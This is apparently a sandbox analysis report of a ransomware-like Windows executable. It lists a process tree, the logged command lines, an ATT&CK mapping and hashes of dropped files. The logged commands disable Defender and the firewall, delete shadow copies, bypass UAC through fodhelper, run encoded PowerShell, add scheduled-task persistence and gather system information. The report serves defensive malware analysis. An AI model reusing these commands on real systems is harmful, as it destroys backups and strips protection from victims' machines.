description pid Process procid_target PID 4716 wrote to memory of 4488 4716 sutbongtva.io_chrome.exe 85 PID 4488 wrote to memory of 2536 4488 chrome.exe 86 PID 4716 wrote to memory of 3324 4716 sutbongtva.io_chrome.exe 87 PID 4716 wrote to memory of 1732 4716 sutbongtva.io_chrome.exe 88 PID 4716 wrote to memory of 752 4716 sutbongtva.io_chrome.exe 90 PID 4716 wrote to memory of 3128 4716 sutbongtva.io_chrome.exe 92 PID 4716 wrote to memory of 2260 4716 sutbongtva.io_chrome.exe 94 PID 4716 wrote to memory of 5020 4716 sutbongtva.io_chrome.exe 96 PID 4716 wrote to memory of 1136 4716 sutbongtva.io_chrome.exe 99 PID 4716 wrote to memory of 4232 4716 sutbongtva.io_chrome.exe 101 PID 4716 wrote to memory of 1828 4716 sutbongtva.io_chrome.exe 103 PID 4716 wrote to memory of 2068 4716 sutbongtva.io_chrome.exe 105 PID 4488 wrote to memory of 2876 4488 chrome.exe 106 PID 4488 wrote to memory of 2876 4488 chrome.exe 106 PID 4488 wrote to memory of 216 4488 chrome.exe 107 PID 4716 wrote to memory of 3116 4716 sutbongtva.io_chrome.exe 108 PID 4488 wrote to memory of 4868 4488 chrome.exe 109 PID 4488 wrote to memory of 4868 4488 chrome.exe 109 PID 4716 wrote to memory of 612 4716 sutbongtva.io_chrome.exe 112 PID 4488 wrote to memory of 832 4488 chrome.exe 114 PID 4488 wrote to memory of 1556 4488 chrome.exe 115 PID 4488 wrote to memory of 832 4488 chrome.exe 114 PID 4488 wrote to memory of 1556 4488 chrome.exe 115 PID 4716 wrote to memory of 3536 4716 sutbongtva.io_chrome.exe 116 PID 4488 wrote to memory of 3544 4488 chrome.exe 118 PID 4488 wrote to memory of 3544 4488 chrome.exe 118 PID 4716 wrote to memory of 3432 4716 sutbongtva.io_chrome.exe 119 PID 2068 wrote to memory of 1144 2068 fodhelper.exe 164 PID 4716 wrote to memory of 5188 4716 sutbongtva.io_chrome.exe 126 PID 4716 wrote to memory of 6108 4716 sutbongtva.io_chrome.exe 127 PID 4716 wrote to memory of 688 4716 sutbongtva.io_chrome.exe 130 PID 4716 wrote to memory of 3824 4716 sutbongtva.io_chrome.exe 134 PID 4716 wrote to memory of 648 4716 sutbongtva.io_chrome.exe 136 PID 4716 wrote to memory of 4356 4716 sutbongtva.io_chrome.exe 137 PID 4716 wrote to memory of 2296 4716 sutbongtva.io_chrome.exe 138 PID 4716 wrote to memory of 5132 4716 sutbongtva.io_chrome.exe 139 PID 4716 wrote to memory of 5600 4716 sutbongtva.io_chrome.exe 140 PID 4716 wrote to memory of 5080 4716 sutbongtva.io_chrome.exe 141 PID 4716 wrote to memory of 3532 4716 sutbongtva.io_chrome.exe 142 PID 4716 wrote to memory of 264 4716 sutbongtva.io_chrome.exe 150 PID 5600 wrote to memory of 5368 5600 cmd.exe 151 PID 648 wrote to memory of 5456 648 cmd.exe 152 PID 2296 wrote to memory of 5448 2296 cmd.exe 153 PID 4356 wrote to memory of 5496 4356 cmd.exe 154 PID 5080 wrote to memory of 5508 5080 cmd.exe 155 PID 5132 wrote to memory of 5532 5132 cmd.exe 156 PID 5532 wrote to memory of 5764 5532 net.exe 157 PID 3824 wrote to memory of 1464 3824 cmd.exe 158 PID 3824 wrote to memory of 5664 3824 cmd.exe 159 PID 4716 wrote to memory of 5728 4716 sutbongtva.io_chrome.exe 160 PID 4716 wrote to memory of 5932 4716 sutbongtva.io_chrome.exe 161 PID 4716 wrote to memory of 5888 4716 sutbongtva.io_chrome.exe 162 PID 4716 wrote to memory of 3064 4716 sutbongtva.io_chrome.exe 166 PID 4716 wrote to memory of 3696 4716 sutbongtva.io_chrome.exe 167 PID 4716 wrote to memory of 2600 4716 sutbongtva.io_chrome.exe 168 PID 4716 wrote to memory of 2440 4716 sutbongtva.io_chrome.exe 172 PID 3064 wrote to memory of 4992 3064 net.exe 175 PID 4488 wrote to memory of 4500 4488 chrome.exe 176 PID 4488 wrote to memory of 1052 4488 chrome.exe 187 PID 4488 wrote to memory of 5580 4488 chrome.exe 188 PID 4488 wrote to memory of 5632 4488 chrome.exe 189 PID 4488 wrote to memory of 1812 4488 chrome.exe 200 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\sutbongtva.io_chrome.exe"C:\Users\Admin\AppData\Local\Temp\sutbongtva.io_chrome.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4716 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" https://sutbongtva.io/2⤵
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4488 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa2c8ec728,0x7ffa2c8ec734,0x7ffa2c8ec7403⤵PID:2536
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1664,i,6302227554329471136,16456934082921673363,262144 --field-trial-handle=2016,i,9434726873154656367,7554333272717770985,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2000 /prefetch:23⤵PID:2876
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2244,i,15595820805400351680,1234780629683625140,524288 --field-trial-handle=2016,i,9434726873154656367,7554333272717770985,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2236 /prefetch:33⤵
- System Time Discovery
PID:216
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2368,i,13483286488968101383,1915798891438751254,524288 --field-trial-handle=2016,i,9434726873154656367,7554333272717770985,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2516 /prefetch:83⤵PID:4868
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3208,i,11804739979424914852,1257078551664020839,2097152 --field-trial-handle=2016,i,9434726873154656367,7554333272717770985,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3232 /prefetch:13⤵PID:832
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3212,i,13118321535715658734,8058288302436036920,2097152 --field-trial-handle=2016,i,9434726873154656367,7554333272717770985,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3252 /prefetch:13⤵PID:1556
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4416,i,6166849250871733766,12662737637468439624,2097152 --field-trial-handle=2016,i,9434726873154656367,7554333272717770985,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4432 /prefetch:23⤵PID:3544
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5812,i,13972586120182170312,6479255938737393629,524288 --field-trial-handle=2016,i,9434726873154656367,7554333272717770985,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5820 /prefetch:83⤵PID:4500
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5044,i,16860132439516569971,15493346544240648739,524288 --field-trial-handle=2016,i,9434726873154656367,7554333272717770985,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5656 /prefetch:83⤵PID:1052
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5604,i,6948529902257546806,8443051164028579056,524288 --field-trial-handle=2016,i,9434726873154656367,7554333272717770985,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5844 /prefetch:83⤵PID:5580
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5040,i,17951568120365150903,2221945453064596699,524288 --field-trial-handle=2016,i,9434726873154656367,7554333272717770985,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5640 /prefetch:83⤵PID:5632
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4440,i,11028942395614672209,5794935153671505960,262144 --field-trial-handle=2016,i,9434726873154656367,7554333272717770985,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=836 /prefetch:83⤵PID:1812
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3324
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:1732
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:752
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:3128
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:2260
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:5020
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:1136
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:4232
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:1828
-
-
C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:2068 -
C:\Users\Admin\AppData\Local\Temp\sutbongtva.io_chrome.exe"C:\Users\Admin\AppData\Local\Temp\sutbongtva.io_chrome.exe"3⤵PID:1144
-
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:3116
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wuauserv2⤵
- Launches sc.exe
PID:612
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:3536
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3432
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:5188
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtva.io_chrome.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:6108
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtva.io_chrome.exe" /sc minute /mo 30 /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:688
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3824 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:1464
-
-
C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵PID:5664
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:648 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:5456
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4356 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
PID:5496
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2296 -
C:\Windows\system32\whoami.exewhoami3⤵PID:5448
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5132 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:5532 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:5764
-
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5600 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:5368
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5080 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:5508
-
-
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\sutbongtva.io_chrome.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:3532
-
-
C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:264
-
-
C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:5728
-
-
C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:5932
-
-
C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵PID:5888
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:1144
-
-
-
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:3064 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:4992
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:3696
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:2600
-
-
C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:2440
-
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵PID:3000
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:920
-
C:\Users\Admin\AppData\Local\Temp\sutbongtva.io_chrome.exeC:\Users\Admin\AppData\Local\Temp\sutbongtva.io_chrome.exe1⤵PID:1140
-
C:\Users\Admin\AppData\Local\Temp\sutbongtva.io_chrome.exeC:\Users\Admin\AppData\Local\Temp\sutbongtva.io_chrome.exe1⤵PID:2920
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc1⤵PID:3960
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
5Windows Service
5Event Triggered Execution
2Image File Execution Options Injection
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
4Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\ProgramData\SysUpdate\Scr\scr_20260812_114407.jpg
- Size 91KB
- SHA256 387ecb3491837a65241756f0ed55f5b1fa2dddfa2423a771791a0639fc3163da
- MD5 9bb04d1e69cdb496aca4d495b3617444
- SHA1 348bb4c78740134b6494a2157ddbd8fba0a2886e
- SHA512 48c49679eb2591b605126064dd7e840afa38bd61db35beb8de3a3f565a4481b5afe10e53efcd359a3ec33787fb829690dd296fb89390e67184cb15de5d815a68
- SSDEEP 1536:I+O25RRRRRRRRRRRS1G0++++++++++++++++++++6nRX8i+JHEXXMFr2/7fNSRS6:zR0++++++++++++++++++++u+V87fNS9
- TLSH T10493BD138C59DBC3545D83E87E071EAD6F0A2B1CE9857EEF41264E9F3E106624D8E06E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\ProgramData\invoice_1.pdf
- Size 65KB
- SHA256 53e8610310e6b7c27764c2f21da92c70e6c784e791840f4650b57a8d5f869fa1
- MD5 2f1c047be75d218256db23de74f8eec3
- SHA1 b187d95729db3b7cc911fd58981e57c3d3167436
- SHA512 2fddb9d1b50be9ecf7eb7356b0605f429f023dd200937edb1bb9e37619613b0d38b610b769735adee788b9cc781c1e561db13a9e868f972deec2611d47aa2c26
- SSDEEP 1536:8BUoHiT8AMZOxMIszo290msIf+9w1RtsHZuPBJA8ezplLRSku1uJBKY//v514mBL:8BUqiIAMsxCs2ztGy1TQZuazplCInFHB
- TLSH T192632A378B23FCD4677A2D80E01039561C883F7B47B566BCFAC10DA628E6554DF2E5A8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 64KB
- SHA256 4031200bc42fa6910d9bcea492e7ba5b969de56f7f0fc633b7500e8866b49869
- MD5 5a4b10c7b16316e7178dea1353e4da26
- SHA1 0aca75807018f898b2c0b35d687abb4442833994
- SHA512 9f41bffd37e2c1629fb4e053825650680c737ff3fd0ce061a79473914b57d3ffbee95c2075dbadc23e839b314a8c143035d4730466070db509ab6d84dcefe735
- SSDEEP 1536:cBUoHiT8AMZOxMIszo290msIf+9w1RtsHZuPBJA8ezplLRSku1uJBKY//v514mBi:cBUqiIAMsxCs2ztGy1TQZuazplCInFH4
- TLSH T1815319378B23FCD4677A2D80E05039561C883F7B47B566BCFAC10DA628E6154DF2E5A8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
- Size 6B
- SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
- MD5 377d072e137022223a370760763420bb
- SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
- SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
- Size 414B
- SHA256 ed7e6266bb9201f472a8a176ada70e118ddaa4d3dd83ae6142b188d7b3174960
- MD5 2fd8c12cfcd8a6e3fccbd72878483de8
- SHA1 386c32684f9bfc000a008bb015234a2c8117e3c8
- SHA512 91b08433445601a974916d8791b5a0d9120d54a6289af366a0025b200eec9ea581bd427fae5bd1e4df87adec2c70ea60d62f0c3164fbbb476ec300d59bc4b7f1
- TLSH T1F9E022A6CC61AC3729FE171850A14B09EB65131B2A818D2F3A3CC60C8FB0A2A8186C5C
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
- Size 432B
- SHA256 0a7d14a28d29c1c97204fdc4db12c130b50b83543346ee6c1a693070f0f1b8a9
- MD5 32fef12dd87f5e94661d6c8f384baab8
- SHA1 d9cac9d0acae9a9936958e42fd3479e17dfed532
- SHA512 59652cb23d63c96570fde4a1c13deeea0779cd9398579f12ef2220feb1a9e4dae0c1349aec167d4b802b6c12893ddf7855dc9865dd4ad8dffa3e67864f0a0f54
- TLSH T171E0DF4487E02032EF1C173CED5909FC2426309760794FC381ED5D3870D76E1C422985
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
- Size 4KB
- SHA256 fe7a99dfade9b288432ee687475cdf4f81091cd7b7a24faf198ee6d213d19a0d
- MD5 c18e2948c1a4a4675b1e92ca938a6c38
- SHA1 b414a0cb389c82ba53481a1bf5956d0304dfdc9f
- SHA512 af4e89e97a4b0c1cab883ff146d6eccd29be43beeb54a88e210dd6a7c0babf6c5d4975ef6ddb4fd16bd5bf25ea24286fa9fb06a6250842e0ebceef0029521e42
- SSDEEP 48:YALly4qy+hfaXYfo7EdKshgmzsz4sODMsJzzspisPusHDzsv87WzsoHDYsC/qskb:DhqtpaIaEdDAOD1oRlA87EHDi/Cb
- TLSH T11B918AB7C3F895ADCA1195F49A102E1BCE6E0918531C3C66C9D8AE1F53E2472D24064F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
- Size 2B
- SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
- MD5 d751713988987e9331980363e24189ce
- SHA1 97d170e1550eee4afc0af065b78cda302a97674c
- SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
- Size 12KB
- SHA256 f1d498d02217399b6dabec5368ae472eae461099bca21a2621292b1a8b4b2fbb
- MD5 2b2241686d37c9b8dd4c2401de182c95
- SHA1 ddc6fb76b4b915a8f0ed6ec578390d7ec786a849
- SHA512 72a4eeeae16eda29a08544f2d0af058ebf2f2dfb83a2e949556fc97fefbc08e452de182c6ff891a64568dd746cf47774e45fb000185c84f2ef6aec2ac6a9f2a8
- SSDEEP 192:LRGw6LLu8nPbCiv7hpAPRp2xlBy95Hsb+WNnlInBIW2Tk2+eV2Ce4VyIsnAUge:LRGw6/p2u9UX+yrw+Bt2Q2J2Cece
- TLSH T14142F92DB910643B5CCBD21AF9617B57E7F6147125902D80EAFC8D6C15EB9CC222341B
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
- Size 16KB
- SHA256 02c350f2797cef3abcbd01174589eb3f77e1f116c6b262051119a6b04129b70e
- MD5 bf8570b876e66ddbb6deea0c1036738d
- SHA1 8b7bac93cc87b0076c8718468e11d052ee384d07
- SHA512 95851cdd76d6c8577ae7d42550a13dd57f1b6cb23a750c4efd53b940f14ee9c4d4bc63ff1789b6d9a8de88bdcd6ea0ab7c7cb57e0c939b77f7c7baac86c936c0
- SSDEEP 384:Kkj+F7KxkXqKf/pUZNCgVLH2HfgsloD7pLuLcMsNXOD+F+ErU3qsHGZ45hseHkL:Ko+F7KxkXqKf/pUZNCgVLH2HfgsuD7pv
- TLSH T19172F9677C4C9A770F94C6CCEC277B4FADB6024B65E9886542FA581503D5ACF010A2FB
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
- Size 120B
- SHA256 c8e876a10d453d8a68fb892f568cb65e60f512abb59e9cfb76186d0b7f105723
